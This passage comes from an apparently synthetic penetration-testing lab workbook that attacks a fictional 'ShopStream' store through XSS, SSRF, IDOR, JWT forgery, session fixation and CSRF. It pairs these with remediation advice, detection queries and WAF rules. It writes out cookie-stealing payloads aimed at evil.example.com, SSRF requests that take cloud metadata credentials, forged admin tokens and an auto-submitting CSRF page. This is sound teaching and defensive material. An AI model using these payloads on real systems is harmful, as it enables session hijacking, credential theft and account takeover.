| stats count dc(uri_path) as unique_paths by src_ip, useragent
| sort -count

WAF Rule — SQL Injection (ModSecurity-style):

# Block common SQL injection patterns
SecRule ARGS "@rx (?i)(union\s+select|'\s*or\s+1\s*=\s*1|;\s*select\s|;\s*drop\s|pg_sleep|information_schema\.)" \
  "id:100001,\
   phase:2,\
   deny,\
   status:403,\
   log,\
   msg:'SQL Injection attempt detected',\
   tag:'OWASP_CRS/WEB_ATTACK/SQL_INJECTION',\
   severity:'CRITICAL'"

Exercise 3: Cross-Site Scripting (XSS)

Objective

Discover and demonstrate Cross-Site Scripting vulnerabilities across all three variants: reflected, stored, and DOM-based XSS. Show how an attacker could steal session tokens, deface content, and bypass Content Security Policy controls. Provide detection and remediation strategies for each variant.

OWASP Category: A03:2021 — Injection (XSS subcategory) MITRE ATT&CK: T1059.007 (Command and Scripting Interpreter: JavaScript)

3.1 Reflected XSS — Search Functionality

Step 1: Identify Reflection Point

Test the product search feature for reflected input.

# Normal search request (SYNTHETIC)
$ curl -s "https://shopstream.example.com/products/search?q=laptop" | grep -o 'Results for:.*</h2>'
Results for: laptop</h2>

The search query is reflected directly into the HTML response without encoding.

# Test with HTML tag (SYNTHETIC)
$ curl -s "https://shopstream.example.com/products/search?q=<b>test</b>" | grep -o 'Results for:.*</h2>'
Results for: <b>test</b></h2>

HTML Injection Confirmed

The <b> tag is rendered without encoding, confirming the application does not sanitize or encode user input before reflecting it into the HTML response.

Step 2: Reflected XSS Proof of Concept

# Reflected XSS payload (SYNTHETIC — educational demonstration only)
# URL: https://shopstream.example.com/products/search?q=<script>alert('XSS')</script>

# Resulting HTML in the page source:
<h2>Results for: <script>alert('XSS')</script></h2>

Burp Suite Repeater request (SYNTHETIC):

GET /products/search?q=%3Cscript%3Ealert(%27XSS%27)%3C/script%3E HTTP/2
Host: shopstream.example.com
Authorization: Bearer eyJ0eXAi...
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: text/html,application/xhtml+xml
Cookie: session=eyJ0eXAi...

---

HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 15234

<!DOCTYPE html>
<html>
<head><title>Search Results — ShopStream</title></head>
<body>
  ...
  <h2>Results for: <script>alert('XSS')</script></h2>
  <p>0 products found.</p>
  ...
</body>
</html>

3.2 Stored XSS — Product Reviews

Step 3: Submit Malicious Review

The product review feature allows HTML in review comments, which is stored in the database and rendered for all users viewing the product page.

# Submit a review with XSS payload (SYNTHETIC)
$ curl -s -X POST https://shopstream.example.com/api/v2/reviews \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer eyJ0eXAi..." \
  -d '{
    "product_id": 42,
    "rating": 5,
    "title": "Great product!",
    "comment": "Loved it! <img src=x onerror=document.location=\"https://evil.example.com/steal?c=\"+document.cookie>"
  }' | jq .

{
  "status": "success",
  "review_id": 8847,
  "message": "Review submitted successfully"
}

Step 4: Verify Stored XSS Renders

# View the product page — XSS payload is stored and rendered (SYNTHETIC)
$ curl -s "https://shopstream.example.com/products/42" | grep -A5 'review-8847'

<div class="review" id="review-8847">
  <h4>Great product!</h4>
  <div class="stars">★★★★★</div>
  <p>Loved it! <img src=x onerror=document.location="https://evil.example.com/steal?c="+document.cookie></p>
  <span class="reviewer">testuser  2026-03-22</span>
</div>

Stored XSS Impact

Every user who views product #42 will have the malicious JavaScript execute in their browser. The payload redirects the victim's browser to evil.example.com with their session cookie appended as a query parameter. This enables session hijacking for any user who views the page, including administrators.

Attack flow:

Attacker submits review with XSS → Stored in database →
Victim views product page → Browser renders malicious HTML →
JavaScript executes → Cookie sent to attacker's server →
Attacker replays session cookie → Account takeover

3.3 DOM-Based XSS

Step 5: Identify DOM-Based XSS

Examine client-side JavaScript for unsafe DOM manipulation.

// Excerpt from shopstream-app.js (SYNTHETIC)
// Vulnerable code — reads URL hash and writes to DOM without sanitization

function loadProductTab() {
    var tab = window.location.hash.substring(1);  // Read from URL fragment
    document.getElementById('tab-content').innerHTML =
        '<h3>' + tab + '</h3>';  // Unsafe innerHTML assignment
    loadTabData(tab);
}

window.onhashchange = loadProductTab;
window.onload = loadProductTab;
# DOM-based XSS via URL fragment (SYNTHETIC)
# URL: https://shopstream.example.com/products/42#<img src=x onerror=alert('DOM-XSS')>

# The JavaScript reads the hash value and writes it directly to innerHTML,
# causing the <img> tag's onerror handler to execute.
# Note: This payload never reaches the server — it is entirely client-side.

DOM XSS vs Reflected/Stored

DOM-based XSS is unique because the malicious payload never leaves the browser — the URL fragment (#...) is not sent to the server. This means server-side WAFs cannot detect or block it. Detection requires client-side controls such as Content Security Policy (CSP) or runtime DOM sanitization libraries.

3.4 CSP Bypass Techniques

Step 6: Analyze and Bypass CSP

The application has no CSP header deployed (identified in Exercise 1). If a basic CSP were implemented, common bypass techniques include:

# Hypothetical weak CSP (SYNTHETIC)
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' https://cdn.example.com

Bypass via unsafe-inline:

The 'unsafe-inline' directive in script-src allows inline <script> tags, defeating the purpose of CSP against XSS:

<!-- This inline script is allowed by the weak CSP above -->
<script>document.location='https://evil.example.com/steal?c='+document.cookie</script>

Bypass via trusted CDN (SYNTHETIC):

If the CSP trusts a CDN that hosts user-controllable content (e.g., JSONP endpoints, Angular template injection):

<!-- Abuse a JSONP endpoint on a trusted CDN (SYNTHETIC) -->
<script src="https://cdn.example.com/jsonp?callback=alert(1)//"></script>

Strong CSP Recommendations

# Recommended CSP (nonce-based)
Content-Security-Policy:
  default-src 'none';
  script-src 'nonce-{random}' 'strict-dynamic';
  style-src 'self' 'nonce-{random}';
  img-src 'self' data: https:;
  font-src 'self';
  connect-src 'self' https://api.shopstream.example.com;
  frame-ancestors 'none';
  base-uri 'self';
  form-action 'self';
  upgrade-insecure-requests;
Use a unique cryptographic nonce per request and apply it to every allowed inline script. Never use 'unsafe-inline' or 'unsafe-eval'.

Step 7: Simulate Cookie Theft

# Attacker sets up a listener (SYNTHETIC — educational only)
# On attacker-controlled server at evil.example.com:
$ python3 -m http.server 8443 --bind 203.0.113.50

# When a victim views the page with stored XSS, the attacker's server receives:
# GET /steal?c=session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9... HTTP/1.1
# Host: evil.example.com
# Referer: https://shopstream.example.com/products/42

# Attacker replays the stolen session (SYNTHETIC)
$ curl -s https://shopstream.example.com/api/v2/users/me \
  -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0.SYNTHETIC_SIGNATURE" | jq .

{
  "id": 1,
  "username": "admin",
  "role": "admin",
  "email": "admin@pinnacle-commerce.example.com",
  "full_name": "Admin User (SYNTHETIC)"
}

Session Hijacking Achieved

The attacker successfully replayed the stolen admin JWT to authenticate as the administrator. With admin access, the attacker could modify products, access customer PII, change prices, or create new admin accounts.

3.6 Remediation — XSS

Remediation Recommendations

  1. Output encoding — encode all user-controlled output for the appropriate context:
    # Python/Jinja2 — auto-escaping (enabled by default in Flask)
    {{ user_input }}           # Auto-escaped: &lt;script&gt;
    {{ user_input | safe }}    # DANGEROUS: renders raw HTML — avoid
    
  2. Input validation — reject or strip HTML tags from inputs that should be plain text
  3. Content Security Policy — deploy strict nonce-based CSP (see Step 6)
  4. HttpOnly cookies — set HttpOnly flag on session cookies to prevent JavaScript access:
    Set-Cookie: session=...; HttpOnly; Secure; SameSite=Strict
    
  5. DOM sanitization — use textContent instead of innerHTML, or use DOMPurify:
    // SECURE
    document.getElementById('tab-content').textContent = tab;
    
    // OR with DOMPurify for rich content
    document.getElementById('tab-content').innerHTML = DOMPurify.sanitize(tab);
    
  6. X-XSS-Protection — while deprecated, set X-XSS-Protection: 0 to prevent browser-specific issues; rely on CSP instead
  7. Regular automated scanning — integrate XSS detection into CI/CD (e.g., ZAP, Burp CI)

3.7 Detection Opportunities — XSS

-- KQL: Detect XSS payloads in URL parameters
W3CIISLog
| where TimeGenerated > ago(1h)
| where csUriQuery matches regex @"(?i)(<script|javascript:|onerror\s*=|onload\s*=|<img\s+src\s*=\s*x|<svg|<iframe|document\.cookie|document\.location)"
| project TimeGenerated, cIP, csMethod, csUriStem, csUriQuery, scStatus
| sort by TimeGenerated desc
-- KQL: Detect stored XSS in POST request bodies
AppServiceHTTPLogs
| where TimeGenerated > ago(1h)
| where CsMethod == "POST"
| where RequestBody matches regex @"(?i)(<script|onerror\s*=|onload\s*=|javascript:|<img\s+src=x)"
| project TimeGenerated, CIp, CsUriStem, RequestBody
| sort by TimeGenerated desc
// SPL: Detect XSS patterns in web requests
index=web sourcetype=access_combined
| eval xss_pattern=if(match(uri_query, "(?i)(<script|javascript:|onerror|onload|document\.cookie|<svg|<iframe)"), 1, 0)
| where xss_pattern=1
| stats count by src_ip, uri_path, uri_query, status
| sort -count
// SPL: Detect XSS in POST bodies (requires body logging)
index=web sourcetype=access_combined method=POST
| eval xss_body=if(match(post_data, "(?i)(<script|onerror|onload|javascript:|document\.cookie)"), 1, 0)
| where xss_body=1
| stats count by src_ip, uri_path
| sort -count

WAF Rule — XSS (ModSecurity-style):

# Block common XSS payloads
SecRule ARGS "@rx (?i)(<script[^>]*>|javascript\s*:|on(error|load|click|mouseover)\s*=|<img[^>]+onerror|<svg[^>]+onload|<iframe|document\.(cookie|location|write))" \
  "id:100002,\
   phase:2,\
   deny,\
   status:403,\
   log,\
   msg:'Cross-Site Scripting (XSS) attempt detected',\
   tag:'OWASP_CRS/WEB_ATTACK/XSS',\
   severity:'CRITICAL'"

Exercise 4: SSRF & IDOR

Objective

Exploit Server-Side Request Forgery (SSRF) to access internal services and cloud metadata, and exploit Insecure Direct Object References (IDOR) to access other users' data. Chain these vulnerabilities to escalate privileges and access sensitive infrastructure information.

OWASP Category: A01:2021 — Broken Access Control, A10:2021 — Server-Side Request Forgery MITRE ATT&CK: T1557 (Adversary-in-the-Middle), T1552.005 (Cloud Instance Metadata API)

4.1 SSRF via Image Import Feature

Step 1: Identify SSRF Vector

The ShopStream application allows users to import product images by URL. This feature makes server-side HTTP requests to fetch the image.

# Normal image import (SYNTHETIC)
$ curl -s -X POST https://shopstream.example.com/api/v2/upload/image \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer eyJ0eXAi..." \
  -d '{"image_url": "https://images.example.com/product-photo.jpg", "product_id": 42}' | jq .

{
  "status": "success",
  "message": "Image imported successfully",
  "stored_path": "/uploads/products/42/imported_a1b2c3.jpg",
  "source_url": "https://images.example.com/product-photo.jpg",
  "size_bytes": 245780
}

Step 2: Test for SSRF — Internal Service Access

# SSRF: Request internal service (SYNTHETIC)
$ curl -s -X POST https://shopstream.example.com/api/v2/upload/image \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer eyJ0eXAi..." \
  -d '{"image_url": "http://10.20.2.10:5432/", "product_id": 42}' | jq .

{
  "status": "error",
  "message": "Failed to import image",
  "detail": "Connection to 10.20.2.10:5432 — received non-image response (content-type: text/plain)",
  "response_preview": "PostgreSQL 15.4 on x86_64-pc-linux-gnu, compiled by gcc..."
}

SSRF Confirmed

The server-side request reached the internal PostgreSQL server (10.20.2.10:5432) and returned its banner in the error message. The application is making HTTP requests on behalf of the user to arbitrary internal addresses without restriction.

Step 3: SSRF — Access Cloud Metadata (IMDSv1)

# SSRF: Access AWS Instance Metadata Service (SYNTHETIC)
$ curl -s -X POST https://shopstream.example.com/api/v2/upload/image \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer eyJ0eXAi..." \
  -d '{"image_url": "http://169.254.169.254/latest/meta-data/", "product_id": 42}' | jq .

{
  "status": "error",
  "message": "Failed to import image",
  "detail": "Connection to 169.254.169.254 — received non-image response (content-type: text/plain)",
  "response_preview": "ami-id\nami-launch-index\nami-manifest-path\nhostname\ninstance-action\ninstance-id\ninstance-type\nlocal-hostname\nlocal-ipv4\nmac\nnetwork\nplacement\nprofile\npublic-hostname\npublic-ipv4\nreservation-id\nsecurity-groups\niam/"
}
# SSRF: Extract IAM credentials from metadata (SYNTHETIC)
$ curl -s -X POST https://shopstream.example.com/api/v2/upload/image \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer eyJ0eXAi..." \
  -d '{"image_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/shopstream-ec2-role", "product_id": 42}' | jq .

{
  "status": "error",
  "message": "Failed to import image",
  "detail": "Connection to 169.254.169.254 — received non-image response (content-type: text/plain)",
  "response_preview": "{\n  \"Code\": \"Success\",\n  \"LastUpdated\": \"2026-03-22T08:00:00Z\",\n  \"Type\": \"AWS-HMAC\",\n  \"AccessKeyId\": \"ASIA0000SYNTHETIC01\",\n  \"SecretAccessKey\": \"REDACTED\",\n  \"Token\": \"SYNTHETIC_SESSION_TOKEN_REDACTED\",\n  \"Expiration\": \"2026-03-22T14:00:00Z\"\n}"
}

Critical: Cloud Credential Theft via SSRF

The SSRF vulnerability allowed access to the AWS Instance Metadata Service (IMDS) at 169.254.169.254. The attacker extracted temporary IAM role credentials (ASIA0000SYNTHETIC01) assigned to the EC2 instance running ShopStream. These credentials can be used to access any AWS service the shopstream-ec2-role IAM role is authorized for — potentially S3 buckets, DynamoDB tables, SQS queues, and more.

This is one of the most impactful SSRF exploitation chains in cloud environments and was a key factor in the 2019 Capital One breach.

Step 4: SSRF — Port Scanning Internal Network

# SSRF: Scan internal network for open services (SYNTHETIC)
# Testing common ports on internal subnet

# Redis (port 6379) — OPEN
$ curl -s -X POST https://shopstream.example.com/api/v2/upload/image \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer eyJ0eXAi..." \
  -d '{"image_url": "http://10.20.2.20:6379/", "product_id": 42}' | jq '.detail'

"Connection to 10.20.2.20:6379 — received non-image response (content-type: text/plain)"

# Internal admin panel (port 8080) — OPEN
$ curl -s -X POST https://shopstream.example.com/api/v2/upload/image \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer eyJ0eXAi..." \
  -d '{"image_url": "http://10.20.1.10:8080/admin/", "product_id": 42}' | jq '.detail'

"Connection to 10.20.1.10:8080 — received non-image response (content-type: text/html)"

# Non-existent host — CLOSED
$ curl -s -X POST https://shopstream.example.com/api/v2/upload/image \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer eyJ0eXAi..." \
  -d '{"image_url": "http://10.20.3.99:80/", "product_id": 42}' | jq '.detail'

"Connection to 10.20.3.99:80 — connection timed out"

4.2 Insecure Direct Object Reference (IDOR)

Step 5: IDOR in Order API

Test whether the order API enforces authorization — can user testuser (ID 1001) access orders belonging to other users?

# Retrieve own order (SYNTHETIC — authorized)
$ curl -s https://shopstream.example.com/api/v2/orders/5001 \
  -H "Authorization: Bearer eyJ0eXAi_testuser_token..." | jq .

{
  "order_id": 5001,
  "user_id": 1001,
  "status": "delivered",
  "total": 149.99,
  "items": [
    {"product_id": 42, "name": "Wireless Headphones", "quantity": 1, "price": 149.99}
  ],
  "shipping_address": {
    "name": "Test User",
    "street": "123 Test Street",
    "city": "Testville",
    "state": "TS",
    "zip": "00000"
  },
  "created_at": "2026-03-15T10:30:00Z"
}
# IDOR: Access another user's order (SYNTHETIC — unauthorized)
$ curl -s https://shopstream.example.com/api/v2/orders/5002 \
  -H "Authorization: Bearer eyJ0eXAi_testuser_token..." | jq .

{
  "order_id": 5002,
  "user_id": 1002,
  "status": "shipped",
  "total": 299.50,
  "items": [
    {"product_id": 78, "name": "Smart Watch", "quantity": 1, "price": 199.50},
    {"product_id": 112, "name": "Watch Band", "quantity": 2, "price": 50.00}
  ],
  "shipping_address": {
    "name": "Jane Doe (SYNTHETIC)",
    "street": "456 Synthetic Avenue",
    "city": "Fictional City",
    "state": "FC",
    "zip": "99999"
  },
  "created_at": "2026-03-16T14:22:00Z"
}

IDOR Confirmed — PII Exposure

User testuser (ID 1001) was able to access order #5002 belonging to jane_doe (ID 1002). The API does not verify that the authenticated user owns the requested order. This exposes personally identifiable information (PII) including names, addresses, and purchase history for all customers.

Step 6: IDOR in User Profile API

# IDOR: Access another user's profile (SYNTHETIC)
$ curl -s https://shopstream.example.com/api/v2/users/1 \
  -H "Authorization: Bearer eyJ0eXAi_testuser_token..." | jq .

{
  "id": 1,
  "username": "admin",
  "email": "admin@pinnacle-commerce.example.com",
  "full_name": "Admin User (SYNTHETIC)",
  "role": "admin",
  "phone": "+1-555-0100 (SYNTHETIC)",
  "created_at": "2025-01-15T09:00:00Z",
  "last_login": "2026-03-22T07:45:00Z",
  "mfa_enabled": true
}

Step 7: Privilege Escalation via Parameter Tampering

# Attempt to modify own profile to escalate role (SYNTHETIC)
$ curl -s -X PUT https://shopstream.example.com/api/v2/users/1001 \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer eyJ0eXAi_testuser_token..." \
  -d '{"full_name": "Test User", "role": "admin"}' | jq .

{
  "status": "success",
  "message": "Profile updated successfully",
  "user": {
    "id": 1001,
    "username": "testuser",
    "role": "admin",
    "full_name": "Test User"
  }
}

Privilege Escalation via Mass Assignment

The API accepted the role field in the PUT request body and updated the user's role from customer to admin. This is a mass assignment vulnerability — the API binds all incoming JSON fields to the user model without checking which fields are allowed to be modified by the user. The role field should be excluded from user-controllable input.

4.3 Remediation — SSRF & IDOR

Remediation Recommendations

SSRF:

  1. Allowlist outbound URLs — only permit requests to known-good external domains for image import
  2. Block private/reserved IP ranges in the URL parser:
    import ipaddress
    BLOCKED_RANGES = [
        ipaddress.ip_network('10.0.0.0/8'),
        ipaddress.ip_network('172.16.0.0/12'),
        ipaddress.ip_network('192.168.0.0/16'),
        ipaddress.ip_network('169.254.0.0/16'),  # Link-local / IMDS
        ipaddress.ip_network('127.0.0.0/8'),      # Loopback
    ]
    
  3. Enforce IMDSv2 — require token-based metadata access, which prevents simple GET-based SSRF:
    aws ec2 modify-instance-metadata-options \
      --instance-id i-0123456789abcdef0 \
      --http-tokens required \
      --http-endpoint enabled
    
  4. Validate Content-Type — reject non-image responses before returning error details
  5. Never return raw response content in error messages

IDOR:

  1. Implement object-level authorization — verify the authenticated user owns or is authorized to access the requested resource:
    @app.route('/api/v2/orders/<int:order_id>')
    @login_required
    def get_order(order_id):
        order = Order.query.get_or_404(order_id)
        if order.user_id != current_user.id and current_user.role != 'admin':
            abort(403)
        return jsonify(order.to_dict())
    
  2. Use UUIDs instead of sequential integers for resource identifiers to reduce enumeration risk
  3. Implement field-level allowlists for profile updates (mass assignment protection):
    ALLOWED_FIELDS = {'full_name', 'email', 'phone'}
    update_data = {k: v for k, v in request.json.items() if k in ALLOWED_FIELDS}
    
  4. Log and alert on cross-user data access attempts

4.4 Detection Opportunities — SSRF & IDOR

-- KQL: Detect SSRF attempts targeting internal IPs
AppServiceHTTPLogs
| where TimeGenerated > ago(1h)
| where CsUriStem has "upload/image" or CsUriStem has "import"
| where RequestBody matches regex @"(10\.\d+\.\d+\.\d+|172\.(1[6-9]|2\d|3[01])\.\d+\.\d+|192\.168\.\d+\.\d+|169\.254\.\d+\.\d+|127\.0\.0\.\d+)"
| project TimeGenerated, CIp, CsUriStem, RequestBody
| sort by TimeGenerated desc
-- KQL: Detect cloud metadata access via SSRF
AppServiceHTTPLogs
| where TimeGenerated > ago(1h)
| where RequestBody has "169.254.169.254" or RequestBody has "metadata.google.internal"
| project TimeGenerated, CIp, CsUriStem, RequestBody
| sort by TimeGenerated desc
-- KQL: Detect IDOR — user accessing resources belonging to other users
AppTraces
| where TimeGenerated > ago(1h)
| where Message has "order accessed" or Message has "user profile accessed"
| extend RequestedUserId = extract("user_id=(\\d+)", 1, Message)
| extend AuthenticatedUserId = extract("auth_user=(\\d+)", 1, Message)
| where RequestedUserId != AuthenticatedUserId
| project TimeGenerated, AuthenticatedUserId, RequestedUserId, Message
| sort by TimeGenerated desc
// SPL: Detect SSRF attempts to internal networks
index=web sourcetype=access_combined method=POST
  (uri_path="*/upload/image*" OR uri_path="*/import*")
| eval ssrf_attempt=if(match(post_data, "(10\.\d+\.\d+\.\d+|172\.(1[6-9]|2\d|3[01])\.\d+|192\.168\.\d+|169\.254\.\d+|127\.0\.0\.)"), 1, 0)
| where ssrf_attempt=1
| stats count by src_ip, uri_path
| sort -count
// SPL: Detect IDOR — sequential ID enumeration
index=web sourcetype=access_combined
  (uri_path="/api/v2/orders/*" OR uri_path="/api/v2/users/*")
| rex field=uri_path "/(?:orders|users)/(?<resource_id>\d+)"
| bin _time span=5m
| stats dc(resource_id) as unique_ids count by src_ip, _time
| where unique_ids > 20
| sort -unique_ids

WAF Rule — SSRF Prevention (ModSecurity-style):

# Block SSRF attempts targeting internal/reserved IPs
SecRule ARGS "@rx (?:https?://)?(?:10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(?:1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|169\.254\.\d{1,3}\.\d{1,3}|127\.\d{1,3}\.\d{1,3}\.\d{1,3}|0\.0\.0\.0|localhost)" \
  "id:100003,\
   phase:2,\
   deny,\
   status:403,\
   log,\
   msg:'SSRF attempt — internal/reserved IP in request parameter',\
   tag:'OWASP_CRS/WEB_ATTACK/SSRF',\
   severity:'CRITICAL'"

Exercise 5: Authentication & Session Attacks

Objective

Attack the ShopStream authentication and session management mechanisms. Demonstrate JWT manipulation (none algorithm attack, key confusion), session fixation, CSRF exploitation, password reset flow abuse, and MFA bypass techniques. Show how weak authentication controls can lead to full account takeover.

OWASP Category: A07:2021 — Identification and Authentication Failures, A01:2021 — Broken Access Control MITRE ATT&CK: T1078 (Valid Accounts), T1539 (Steal Web Session Cookie), T1556 (Modify Authentication Process)

5.1 JWT Analysis

Step 1: Decode the JWT

# Decode JWT header and payload (SYNTHETIC)
$ echo "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxMDAxLCJ1c2VybmFtZSI6InRlc3R1c2VyIiwicm9sZSI6ImN1c3RvbWVyIiwiZXhwIjoxNzExMTUwMDAwfQ.SYNTHETIC_SIGNATURE" \
  | cut -d. -f1 | base64 -d 2>/dev/null

{"typ":"JWT","alg":"HS256"}

$ echo "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxMDAxLCJ1c2VybmFtZSI6InRlc3R1c2VyIiwicm9sZSI6ImN1c3RvbWVyIiwiZXhwIjoxNzExMTUwMDAwfQ.SYNTHETIC_SIGNATURE" \
  | cut -d. -f2 | base64 -d 2>/dev/null

{"user_id":1001,"username":"testuser","role":"customer","exp":1711150000}
JWT Structure Analysis
Field Value Notes
typ JWT Standard JWT type
alg HS256 HMAC-SHA256 — symmetric key signing
user_id 1001 User identifier — used for authorization
username testuser Username embedded in token
role customer Role stored in JWT — potential manipulation target
exp 1711150000 Expiration timestamp (1 hour from issuance)

Key observations: The JWT uses HS256 (symmetric key), stores the user role in the payload, and has a 1-hour expiration. The role in the JWT determines authorization — if the JWT can be forged, the attacker controls their own role.

5.2 JWT "none" Algorithm Attack

Step 2: Forge JWT with 'none' Algorithm

The "none" algorithm attack exploits servers that accept unsigned JWTs. The attacker modifies the header to use "alg":"none" and removes the signature.

# Using jwt_tool (SYNTHETIC)
$ python3 jwt_tool.py \
  "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxMDAxLCJ1c2VybmFtZSI6InRlc3R1c2VyIiwicm9sZSI6ImN1c3RvbWVyIiwiZXhwIjoxNzExMTUwMDAwfQ.SYNTHETIC_SIGNATURE" \
  -X a

        \   \        \   \  \
   \__   |   |  \     \ |  |
         |   |   |      | |
    \   |  \ |    /     | |
     \  | |  | |  | |   | |
      \_|_|__|_|_|_|____|_|
             jwt_tool v2.2.7

[1] Tampered JWT - alg: none
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VyX2lkIjoxMDAxLCJ1c2VybmFtZSI6InRlc3R1c2VyIiwicm9sZSI6ImN1c3RvbWVyIiwiZXhwIjoxNzExMTUwMDAwfQ.

[2] Tampered JWT - alg: None
eyJ0eXAiOiJKV1QiLCJhbGciOiJOb25lIn0.eyJ1c2VyX2lkIjoxMDAxLCJ1c2VybmFtZSI6InRlc3R1c2VyIiwicm9sZSI6ImN1c3RvbWVyIiwiZXhwIjoxNzExMTUwMDAwfQ.

[3] Tampered JWT - alg: NONE
eyJ0eXAiOiJKV1QiLCJhbGciOiJOT05FIn0.eyJ1c2VyX2lkIjoxMDAxLCJ1c2VybmFtZSI6InRlc3R1c2VyIiwicm9sZSI6ImN1c3RvbWVyIiwiZXhwIjoxNzExMTUwMDAwfQ.
# Forge admin JWT with 'none' algorithm and modified role (SYNTHETIC)
# Header: {"typ":"JWT","alg":"none"}
# Payload: {"user_id":1,"username":"admin","role":"admin","exp":9999999999}
# Signature: (empty)

$ FORGED_JWT="eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ."

$ curl -s https://shopstream.example.com/api/v2/admin/users \
  -H "Authorization: Bearer $FORGED_JWT" | jq '.users | length'

5

JWT 'none' Algorithm Accepted

The server accepted the JWT with "alg":"none" and an empty signature. The attacker forged a token with "role":"admin" and "user_id":1, gaining full admin access without knowing the signing key. This occurs when the JWT library's verification function does not enforce the expected algorithm.

5.3 JWT Key Confusion (Algorithm Switching)

Step 3: RS256 to HS256 Algorithm Confusion

If the server was configured to verify JWTs with an RSA public key (RS256) but the JWT library also accepts HS256, the attacker can sign a token using the public key as the HMAC secret.

# Download the server's public key (SYNTHETIC — often exposed at JWKS endpoint)
$ curl -s https://shopstream.example.com/.well-known/jwks.json | jq .

{
  "keys": [
    {
      "kty": "RSA",
      "kid": "shopstream-signing-key-1",
      "use": "sig",
      "n": "SYNTHETIC_RSA_MODULUS_REDACTED",
      "e": "AQAB"
    }
  ]
}

# Convert JWK to PEM format (SYNTHETIC)
# Then sign a forged JWT using the public key as HMAC secret
$ python3 jwt_tool.py \
  "$ORIGINAL_JWT" \
  -X k \
  -pk public_key.pem \
  -I -pc role -pv admin \
  -I -pc user_id -pv 1

[+] Tampered JWT (HS256 signed with RSA public key):
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.FORGED_HMAC_SIGNATURE

Why This Works

The server uses the RSA public key for verification. When the attacker switches alg to HS256, vulnerable JWT libraries use the same public key as the HMAC symmetric key. Since the public key is... public, the attacker knows it and can produce valid HMAC signatures.

5.4 Session Fixation

Step 4: Session Fixation Attack

Test whether the application generates a new session token upon login or reuses a pre-authentication token.

# Step A: Obtain a pre-authentication session cookie (SYNTHETIC)
$ curl -sI https://shopstream.example.com/account/login | grep set-cookie
set-cookie: session_id=PRE_AUTH_SESSION_abc123; Path=/; HttpOnly; Secure

# Step B: Authenticate with the pre-auth cookie (SYNTHETIC)
$ curl -s -X POST https://shopstream.example.com/api/v2/auth/login \
  -H "Content-Type: application/json" \
  -H "Cookie: session_id=PRE_AUTH_SESSION_abc123" \
  -d '{"username":"testuser","password":"REDACTED"}' | jq .

{
  "status": "success",
  "token": "eyJ0eXAiOiJKV1Qi..."
}

# Step C: Check if the session ID changed after login
$ curl -sI https://shopstream.example.com/api/v2/users/me \
  -H "Cookie: session_id=PRE_AUTH_SESSION_abc123" \
  -H "Authorization: Bearer eyJ0eXAiOiJKV1Qi..." | grep set-cookie

# NO new Set-Cookie header — session_id was NOT regenerated

Session Fixation Vulnerability

The application does not regenerate the session ID upon successful authentication. An attacker who can set a victim's session cookie (e.g., via XSS, subdomain cookie injection, or a network position) can wait for the victim to log in, then reuse the known session ID to hijack the authenticated session.

Attack flow:

1. Attacker obtains session_id=KNOWN_VALUE
2. Attacker sets victim's cookie to session_id=KNOWN_VALUE
3. Victim logs in → server authenticates session_id=KNOWN_VALUE
4. Attacker uses session_id=KNOWN_VALUE → authenticated as victim

5.5 Cross-Site Request Forgery (CSRF)

Step 5: CSRF Exploitation

Test whether state-changing operations require CSRF tokens or verify the Origin/Referer headers.

# Check if the password change endpoint requires CSRF token (SYNTHETIC)
$ curl -s -X POST https://shopstream.example.com/api/v2/users/me/change-password \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer eyJ0eXAi_testuser_token..." \
  -H "Origin: https://evil.example.com" \
  -d '{"current_password":"REDACTED","new_password":"REDACTED_NEW"}' | jq .

{
  "status": "success",
  "message": "Password changed successfully"
}

CSRF Not Enforced

The password change endpoint accepted a request with Origin: https://evil.example.com without requiring a CSRF token. An attacker can host a malicious page that submits this request when a logged-in user visits it.

CSRF Exploitation Page (SYNTHETIC — educational only):

<!-- Hosted on evil.example.com — SYNTHETIC, do not deploy -->
<!DOCTYPE html>
<html>
<head><title>Win a Prize!</title></head>
<body>
  <h1>Congratulations! Click to claim your prize!</h1>
  <form id="csrf-form"
        action="https://shopstream.example.com/api/v2/users/me/change-email"
        method="POST"
        enctype="text/plain">
    <input type="hidden" name='{"email":"attacker@evil.example.com","padding":"' value='"}' />
  </form>
  <script>
    // Auto-submit on page load
    document.getElementById('csrf-form').submit();
  </script>
</body>
</html>

5.6 Password Reset Flow Abuse

Step 6: Analyze Password Reset Mechanism

# Request password reset (SYNTHETIC)
$ curl -s -X POST https://shopstream.example.com/api/v2/auth/reset-password \
  -H "Content-Type: application/json" \
  -d '{"email":"admin@pinnacle-commerce.example.com"}' | jq .

{
  "status": "success",
